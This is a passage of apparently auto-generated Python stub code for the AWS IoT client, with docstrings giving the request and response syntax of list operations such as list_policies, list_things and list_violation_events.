accepted. - *(dict) --* A certificate that has been transferred but not yet accepted. - **certificateArn** *(string) --* The certificate ARN. - **certificateId** *(string) --* The certificate ID. - **transferredTo** *(string) --* The AWS account to which the transfer was made. - **transferDate** *(datetime) --* The date the transfer was initiated. - **transferMessage** *(string) --* The transfer message. - **creationDate** *(datetime) --* The certificate creation date. - **nextMarker** *(string) --* The marker for the next set of results. :type pageSize: integer :param pageSize: The result page size. :type marker: string :param marker: The marker for the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If True, the results are returned in ascending order, based on the creation date. :rtype: dict :returns: """ pass def list_policies(self, marker: str = None, pageSize: int = None, ascendingOrder: bool = None) -> Dict: """ Lists your policies. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListPolicies>`_ **Request Syntax** :: response = client.list_policies( marker='string', pageSize=123, ascendingOrder=True|False ) **Response Syntax** :: { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output from the ListPolicies operation. - **policies** *(list) --* The descriptions of the policies. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **nextMarker** *(string) --* The marker for the next set of results, or null if there are no additional results. :type marker: string :param marker: The marker for the next set of results. :type pageSize: integer :param pageSize: The result page size. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If true, the results are returned in ascending creation order. :rtype: dict :returns: """ pass def list_policy_principals(self, policyName: str, marker: str = None, pageSize: int = None, ascendingOrder: bool = None) -> Dict: """ Lists the principals associated with the specified policy. **Note:** This API is deprecated. Please use ListTargetsForPolicy instead. .. danger:: This operation is deprecated and may not function as expected. This operation should not be used going forward and is only kept for the purpose of backwards compatiblity. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListPolicyPrincipals>`_ **Request Syntax** :: response = client.list_policy_principals( policyName='string', marker='string', pageSize=123, ascendingOrder=True|False ) **Response Syntax** :: { 'principals': [ 'string', ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output from the ListPolicyPrincipals operation. - **principals** *(list) --* The descriptions of the principals. - *(string) --* - **nextMarker** *(string) --* The marker for the next set of results, or null if there are no additional results. :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type marker: string :param marker: The marker for the next set of results. :type pageSize: integer :param pageSize: The result page size. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If true, the results are returned in ascending creation order. :rtype: dict :returns: """ pass def list_policy_versions(self, policyName: str) -> Dict: """ Lists the versions of the specified policy and identifies the default version. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListPolicyVersions>`_ **Request Syntax** :: response = client.list_policy_versions( policyName='string' ) **Response Syntax** :: { 'policyVersions': [ { 'versionId': 'string', 'isDefaultVersion': True|False, 'createDate': datetime(2015, 1, 1) }, ] } **Response Structure** - *(dict) --* The output from the ListPolicyVersions operation. - **policyVersions** *(list) --* The policy versions. - *(dict) --* Describes a policy version. - **versionId** *(string) --* The policy version ID. - **isDefaultVersion** *(boolean) --* Specifies whether the policy version is the default. - **createDate** *(datetime) --* The date and time the policy was created. :type policyName: string :param policyName: **[REQUIRED]** The policy name. :rtype: dict :returns: """ pass def list_principal_policies(self, principal: str, marker: str = None, pageSize: int = None, ascendingOrder: bool = None) -> Dict: """ Lists the policies attached to the specified principal. If you use an Cognito identity, the ID must be in `AmazonCognito Identity format <https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html#API_GetCredentialsForIdentity_RequestSyntax>`__ . **Note:** This API is deprecated. Please use ListAttachedPolicies instead. .. danger:: This operation is deprecated and may not function as expected. This operation should not be used going forward and is only kept for the purpose of backwards compatiblity. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListPrincipalPolicies>`_ **Request Syntax** :: response = client.list_principal_policies( principal='string', marker='string', pageSize=123, ascendingOrder=True|False ) **Response Syntax** :: { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* The output from the ListPrincipalPolicies operation. - **policies** *(list) --* The policies. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **nextMarker** *(string) --* The marker for the next set of results, or null if there are no additional results. :type principal: string :param principal: **[REQUIRED]** The principal. :type marker: string :param marker: The marker for the next set of results. :type pageSize: integer :param pageSize: The result page size. :type ascendingOrder: boolean :param ascendingOrder: Specifies the order for results. If true, results are returned in ascending creation order. :rtype: dict :returns: """ pass def list_principal_things(self, principal: str, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the things associated with the specified principal. A principal can be X.509 certificates, IAM users, groups, and roles, Amazon Cognito identities or federated identities. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListPrincipalThings>`_ **Request Syntax** :: response = client.list_principal_things( nextToken='string', maxResults=123, principal='string' ) **Response Syntax** :: { 'things': [ 'string', ], 'nextToken': 'string' } **Response Structure** - *(dict) --* The output from the ListPrincipalThings operation. - **things** *(list) --* The things. - *(string) --* - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return in this operation. :type principal: string :param principal: **[REQUIRED]** The principal. :rtype: dict :returns: """ pass def list_role_aliases(self, pageSize: int = None, marker: str = None, ascendingOrder: bool = None) -> Dict: """ Lists the role aliases registered in your account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListRoleAliases>`_ **Request Syntax** :: response = client.list_role_aliases( pageSize=123, marker='string', ascendingOrder=True|False ) **Response Syntax** :: { 'roleAliases': [ 'string', ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* - **roleAliases** *(list) --* The role aliases. - *(string) --* - **nextMarker** *(string) --* A marker used to get the next set of results. :type pageSize: integer :param pageSize: The maximum number of results to return at one time. :type marker: string :param marker: A marker used to get the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Return the list of role aliases in ascending alphabetical order. :rtype: dict :returns: """ pass def list_scheduled_audits(self, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists all of your scheduled audits. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListScheduledAudits>`_ **Request Syntax** :: response = client.list_scheduled_audits( nextToken='string', maxResults=123 ) **Response Syntax** :: { 'scheduledAudits': [ { 'scheduledAuditName': 'string', 'scheduledAuditArn': 'string', 'frequency': 'DAILY'|'WEEKLY'|'BIWEEKLY'|'MONTHLY', 'dayOfMonth': 'string', 'dayOfWeek': 'SUN'|'MON'|'TUE'|'WED'|'THU'|'FRI'|'SAT' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **scheduledAudits** *(list) --* The list of scheduled audits. - *(dict) --* Information about the scheduled audit. - **scheduledAuditName** *(string) --* The name of the scheduled audit. - **scheduledAuditArn** *(string) --* The ARN of the scheduled audit. - **frequency** *(string) --* How often the scheduled audit takes place. - **dayOfMonth** *(string) --* The day of the month on which the scheduled audit is run (if the ``frequency`` is "MONTHLY"). If days 29-31 are specified, and the month does not have that many days, the audit takes place on the "LAST" day of the month. - **dayOfWeek** *(string) --* The day of the week on which the scheduled audit is run (if the ``frequency`` is "WEEKLY" or "BIWEEKLY"). - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. The default is 25. :rtype: dict :returns: """ pass def list_security_profiles(self, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the Device Defender security profiles you have created. You can use filters to list only those security profiles associated with a thing group or only those associated with your account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListSecurityProfiles>`_ **Request Syntax** :: response = client.list_security_profiles( nextToken='string', maxResults=123 ) **Response Syntax** :: { 'securityProfileIdentifiers': [ { 'name': 'string', 'arn': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **securityProfileIdentifiers** *(list) --* A list of security profile identifiers (names and ARNs). - *(dict) --* Identifying information for a Device Defender security profile. - **name** *(string) --* The name you have given to the security profile. - **arn** *(string) --* The ARN of the security profile. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_security_profiles_for_target(self, securityProfileTargetArn: str, nextToken: str = None, maxResults: int = None, recursive: bool = None) -> Dict: """ Lists the Device Defender security profiles attached to a target (thing group). See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListSecurityProfilesForTarget>`_ **Request Syntax** :: response = client.list_security_profiles_for_target( nextToken='string', maxResults=123, recursive=True|False, securityProfileTargetArn='string' ) **Response Syntax** :: { 'securityProfileTargetMappings': [ { 'securityProfileIdentifier': { 'name': 'string', 'arn': 'string' }, 'target': { 'arn': 'string' } }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **securityProfileTargetMappings** *(list) --* A list of security profiles and their associated targets. - *(dict) --* Information about a security profile and the target associated with it. - **securityProfileIdentifier** *(dict) --* Information that identifies the security profile. - **name** *(string) --* The name you have given to the security profile. - **arn** *(string) --* The ARN of the security profile. - **target** *(dict) --* Information about the target (thing group) associated with the security profile. - **arn** *(string) --* The ARN of the security profile. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :type recursive: boolean :param recursive: If true, return child groups as well. :type securityProfileTargetArn: string :param securityProfileTargetArn: **[REQUIRED]** The ARN of the target (thing group) whose attached security profiles you want to get. :rtype: dict :returns: """ pass def list_streams(self, maxResults: int = None, nextToken: str = None, ascendingOrder: bool = None) -> Dict: """ Lists all of the streams in your AWS account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListStreams>`_ **Request Syntax** :: response = client.list_streams( maxResults=123, nextToken='string', ascendingOrder=True|False ) **Response Syntax** :: { 'streams': [ { 'streamId': 'string', 'streamArn': 'string', 'streamVersion': 123, 'description': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **streams** *(list) --* A list of streams. - *(dict) --* A summary of a stream. - **streamId** *(string) --* The stream ID. - **streamArn** *(string) --* The stream ARN. - **streamVersion** *(integer) --* The stream version. - **description** *(string) --* A description of the stream. - **nextToken** *(string) --* A token used to get the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at a time. :type nextToken: string :param nextToken: A token used to get the next set of results. :type ascendingOrder: boolean :param ascendingOrder: Set to true to return the list of streams in ascending order. :rtype: dict :returns: """ pass def list_tags_for_resource(self, resourceArn: str, nextToken: str = None) -> Dict: """ Lists the tags (metadata) you have assigned to the resource. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListTagsForResource>`_ **Request Syntax** :: response = client.list_tags_for_resource( resourceArn='string', nextToken='string' ) **Response Syntax** :: { 'tags': [ { 'Key': 'string', 'Value': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **tags** *(list) --* The list of tags assigned to the resource. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag's key. - **Value** *(string) --* The tag's value. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type resourceArn: string :param resourceArn: **[REQUIRED]** The ARN of the resource. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :rtype: dict :returns: """ pass def list_targets_for_policy(self, policyName: str, marker: str = None, pageSize: int = None) -> Dict: """ List targets for the specified policy. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListTargetsForPolicy>`_ **Request Syntax** :: response = client.list_targets_for_policy( policyName='string', marker='string', pageSize=123 ) **Response Syntax** :: { 'targets': [ 'string', ], 'nextMarker': 'string' } **Response Structure** - *(dict) --* - **targets** *(list) --* The policy targets. - *(string) --* - **nextMarker** *(string) --* A marker used to get the next set of results. :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type marker: string :param marker: A marker used to get the next set of results. :type pageSize: integer :param pageSize: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_targets_for_security_profile(self, securityProfileName: str, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the targets (thing groups) associated with a given Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListTargetsForSecurityProfile>`_ **Request Syntax** :: response = client.list_targets_for_security_profile( securityProfileName='string', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'securityProfileTargets': [ { 'arn': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **securityProfileTargets** *(list) --* The thing groups to which the security profile is attached. - *(dict) --* A target to which an alert is sent when a security profile behavior is violated. - **arn** *(string) --* The ARN of the security profile. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The security profile. :type nextToken: string :param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_thing_groups(self, nextToken: str = None, maxResults: int = None, parentGroup: str = None, namePrefixFilter: str = None, recursive: bool = None) -> Dict: """ List the thing groups in your account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingGroups>`_ **Request Syntax** :: response = client.list_thing_groups( nextToken='string', maxResults=123, parentGroup='string', namePrefixFilter='string', recursive=True|False ) **Response Syntax** :: { 'thingGroups': [ { 'groupName': 'string', 'groupArn': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **thingGroups** *(list) --* The thing groups. - *(dict) --* The name and ARN of a group. - **groupName** *(string) --* The group name. - **groupArn** *(string) --* The group ARN. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :type parentGroup: string :param parentGroup: A filter that limits the results to those with the specified parent group. :type namePrefixFilter: string :param namePrefixFilter: A filter that limits the results to those with the specified name prefix. :type recursive: boolean :param recursive: If true, return child groups as well. :rtype: dict :returns: """ pass def list_thing_groups_for_thing(self, thingName: str, nextToken: str = None, maxResults: int = None) -> Dict: """ List the thing groups to which the specified thing belongs. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingGroupsForThing>`_ **Request Syntax** :: response = client.list_thing_groups_for_thing( thingName='string', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'thingGroups': [ { 'groupName': 'string', 'groupArn': 'string' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **thingGroups** *(list) --* The thing groups. - *(dict) --* The name and ARN of a group. - **groupName** *(string) --* The group name. - **groupArn** *(string) --* The group ARN. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type thingName: string :param thingName: **[REQUIRED]** The thing name. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_thing_principals(self, thingName: str) -> Dict: """ Lists the principals associated with the specified thing. A principal can be X.509 certificates, IAM users, groups, and roles, Amazon Cognito identities or federated identities. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingPrincipals>`_ **Request Syntax** :: response = client.list_thing_principals( thingName='string' ) **Response Syntax** :: { 'principals': [ 'string', ] } **Response Structure** - *(dict) --* The output from the ListThingPrincipals operation. - **principals** *(list) --* The principals associated with the thing. - *(string) --* :type thingName: string :param thingName: **[REQUIRED]** The name of the thing. :rtype: dict :returns: """ pass def list_thing_registration_task_reports(self, taskId: str, reportType: str, nextToken: str = None, maxResults: int = None) -> Dict: """ Information about the thing registration tasks. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingRegistrationTaskReports>`_ **Request Syntax** :: response = client.list_thing_registration_task_reports( taskId='string', reportType='ERRORS'|'RESULTS', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'resourceLinks': [ 'string', ], 'reportType': 'ERRORS'|'RESULTS', 'nextToken': 'string' } **Response Structure** - *(dict) --* - **resourceLinks** *(list) --* Links to the task resources. - *(string) --* - **reportType** *(string) --* The type of task report. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type taskId: string :param taskId: **[REQUIRED]** The id of the task. :type reportType: string :param reportType: **[REQUIRED]** The type of task report. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return per request. :rtype: dict :returns: """ pass def list_thing_registration_tasks(self, nextToken: str = None, maxResults: int = None, status: str = None) -> Dict: """ List bulk thing provisioning tasks. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingRegistrationTasks>`_ **Request Syntax** :: response = client.list_thing_registration_tasks( nextToken='string', maxResults=123, status='InProgress'|'Completed'|'Failed'|'Cancelled'|'Cancelling' ) **Response Syntax** :: { 'taskIds': [ 'string', ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **taskIds** *(list) --* A list of bulk thing provisioning task IDs. - *(string) --* - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :type status: string :param status: The status of the bulk thing provisioning task. :rtype: dict :returns: """ pass def list_thing_types(self, nextToken: str = None, maxResults: int = None, thingTypeName: str = None) -> Dict: """ Lists the existing thing types. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingTypes>`_ **Request Syntax** :: response = client.list_thing_types( nextToken='string', maxResults=123, thingTypeName='string' ) **Response Syntax** :: { 'thingTypes': [ { 'thingTypeName': 'string', 'thingTypeArn': 'string', 'thingTypeProperties': { 'thingTypeDescription': 'string', 'searchableAttributes': [ 'string', ] }, 'thingTypeMetadata': { 'deprecated': True|False, 'deprecationDate': datetime(2015, 1, 1), 'creationDate': datetime(2015, 1, 1) } }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* The output for the ListThingTypes operation. - **thingTypes** *(list) --* The thing types. - *(dict) --* The definition of the thing type, including thing type name and description. - **thingTypeName** *(string) --* The name of the thing type. - **thingTypeArn** *(string) --* The thing type ARN. - **thingTypeProperties** *(dict) --* The ThingTypeProperties for the thing type. - **thingTypeDescription** *(string) --* The description of the thing type. - **searchableAttributes** *(list) --* A list of searchable thing attribute names. - *(string) --* - **thingTypeMetadata** *(dict) --* The ThingTypeMetadata contains additional information about the thing type including: creation date and time, a value indicating whether the thing type is deprecated, and a date and time when it was deprecated. - **deprecated** *(boolean) --* Whether the thing type is deprecated. If **true** , no new things could be associated with this type. - **deprecationDate** *(datetime) --* The date and time when the thing type was deprecated. - **creationDate** *(datetime) --* The date and time when the thing type was created. - **nextToken** *(string) --* The token for the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return in this operation. :type thingTypeName: string :param thingTypeName: The name of the thing type. :rtype: dict :returns: """ pass def list_things(self, nextToken: str = None, maxResults: int = None, attributeName: str = None, attributeValue: str = None, thingTypeName: str = None) -> Dict: """ Lists your things. Use the **attributeName** and **attributeValue** parameters to filter your things. For example, calling ``ListThings`` with attributeName=Color and attributeValue=Red retrieves all things in the registry that contain an attribute **Color** with the value **Red** . See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThings>`_ **Request Syntax** :: response = client.list_things( nextToken='string', maxResults=123, attributeName='string', attributeValue='string', thingTypeName='string' ) **Response Syntax** :: { 'things': [ { 'thingName': 'string', 'thingTypeName': 'string', 'thingArn': 'string', 'attributes': { 'string': 'string' }, 'version': 123 }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* The output from the ListThings operation. - **things** *(list) --* The things. - *(dict) --* The properties of the thing, including thing name, thing type name, and a list of thing attributes. - **thingName** *(string) --* The name of the thing. - **thingTypeName** *(string) --* The name of the thing type, if the thing has been associated with a type. - **thingArn** *(string) --* The thing ARN. - **attributes** *(dict) --* A list of thing attributes which are name-value pairs. - *(string) --* - *(string) --* - **version** *(integer) --* The version of the thing record in the registry. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return in this operation. :type attributeName: string :param attributeName: The attribute name used to search for things. :type attributeValue: string :param attributeValue: The attribute value used to search for things. :type thingTypeName: string :param thingTypeName: The name of the thing type used to search for things. :rtype: dict :returns: """ pass def list_things_in_billing_group(self, billingGroupName: str, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the things you have added to the given billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingsInBillingGroup>`_ **Request Syntax** :: response = client.list_things_in_billing_group( billingGroupName='string', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'things': [ 'string', ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **things** *(list) --* A list of things in the billing group. - *(string) --* - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type billingGroupName: string :param billingGroupName: **[REQUIRED]** The name of the billing group. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return per request. :rtype: dict :returns: """ pass def list_things_in_thing_group(self, thingGroupName: str, recursive: bool = None, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the things in the specified group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListThingsInThingGroup>`_ **Request Syntax** :: response = client.list_things_in_thing_group( thingGroupName='string', recursive=True|False, nextToken='string', maxResults=123 ) **Response Syntax** :: { 'things': [ 'string', ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **things** *(list) --* The things in the specified thing group. - *(string) --* - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The thing group name. :type recursive: boolean :param recursive: When true, list things in this thing group and in all child groups as well. :type nextToken: string :param nextToken: The token to retrieve the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_topic_rules(self, topic: str = None, maxResults: int = None, nextToken: str = None, ruleDisabled: bool = None) -> Dict: """ Lists the rules for the specific topic. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListTopicRules>`_ **Request Syntax** :: response = client.list_topic_rules( topic='string', maxResults=123, nextToken='string', ruleDisabled=True|False ) **Response Syntax** :: { 'rules': [ { 'ruleArn': 'string', 'ruleName': 'string', 'topicPattern': 'string', 'createdAt': datetime(2015, 1, 1), 'ruleDisabled': True|False }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* The output from the ListTopicRules operation. - **rules** *(list) --* The rules. - *(dict) --* Describes a rule. - **ruleArn** *(string) --* The rule ARN. - **ruleName** *(string) --* The name of the rule. - **topicPattern** *(string) --* The pattern for the topic names that apply. - **createdAt** *(datetime) --* The date and time the rule was created. - **ruleDisabled** *(boolean) --* Specifies whether the rule is disabled. - **nextToken** *(string) --* A token used to retrieve the next value. :type topic: string :param topic: The topic. :type maxResults: integer :param maxResults: The maximum number of results to return. :type nextToken: string :param nextToken: A token used to retrieve the next value. :type ruleDisabled: boolean :param ruleDisabled: Specifies whether the rule is disabled. :rtype: dict :returns: """ pass def list_v2_logging_levels(self, targetType: str = None, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists logging levels. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListV2LoggingLevels>`_ **Request Syntax** :: response = client.list_v2_logging_levels( targetType='DEFAULT'|'THING_GROUP', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'logTargetConfigurations': [ { 'logTarget': { 'targetType': 'DEFAULT'|'THING_GROUP', 'targetName': 'string' }, 'logLevel': 'DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED' }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **logTargetConfigurations** *(list) --* The logging configuration for a target. - *(dict) --* The target configuration. - **logTarget** *(dict) --* A log target - **targetType** *(string) --* The target type. - **targetName** *(string) --* The target name. - **logLevel** *(string) --* The logging level. - **nextToken** *(string) --* The token used to get the next set of results, or **null** if there are no additional results. :type targetType: string :param targetType: The type of resource for which you are configuring logging. Must be ``THING_Group`` . :type nextToken: string :param nextToken: The token used to get the next set of results, or **null** if there are no additional results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def list_violation_events(self, startTime: datetime, endTime: datetime, thingName: str = None, securityProfileName: str = None, nextToken: str = None, maxResults: int = None) -> Dict: """ Lists the Device Defender security profile violations discovered during the given time period. You can use filters to limit the results to those alerts issued for a particular security profile, behavior or thing (device). See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ListViolationEvents>`_ **Request Syntax** :: response = client.list_violation_events( startTime=datetime(2015, 1, 1), endTime=datetime(2015, 1, 1), thingName='string', securityProfileName='string', nextToken='string', maxResults=123 ) **Response Syntax** :: { 'violationEvents': [ { 'violationId': 'string', 'thingName': 'string', 'securityProfileName': 'string', 'behavior': { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, 'metricValue': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'violationEventType': 'in-alarm'|'alarm-cleared'|'alarm-invalidated', 'violationEventTime': datetime(2015, 1, 1) }, ], 'nextToken': 'string' } **Response Structure** - *(dict) --* - **violationEvents** *(list) --* The security profile violation alerts issued for this account during the given time frame, potentially filtered by security profile, behavior violated, or thing (device) violating. - *(dict) --* Information about a Device Defender security profile behavior violation. - **violationId** *(string) --* The ID of the violation event. - **thingName** *(string) --* The name of the thing responsible for the violation event. - **securityProfileName** *(string) --* The name of the security profile whose behavior was violated. - **behavior** *(dict) --* The behavior which was violated. - **name** *(string) --* The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. - **metricValue** *(dict) --* The value of the metric (the measurement). - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **violationEventType** *(string) --* The type of violation event. - **violationEventTime** *(datetime) --* The time the violation event occurred. - **nextToken** *(string) --* A token that can be used to retrieve the next set of results, or ``null`` if there are no additional results. :type startTime: datetime :param startTime: **[REQUIRED]** The start time for the alerts to be listed. :type endTime: datetime :param endTime: **[REQUIRED]** The end time for the alerts to be listed. :type thingName: string :param thingName: A filter to limit results to those alerts caused by the specified thing. :type securityProfileName: string :param securityProfileName: A filter to limit results to those alerts generated by the specified security profile. :type nextToken: string 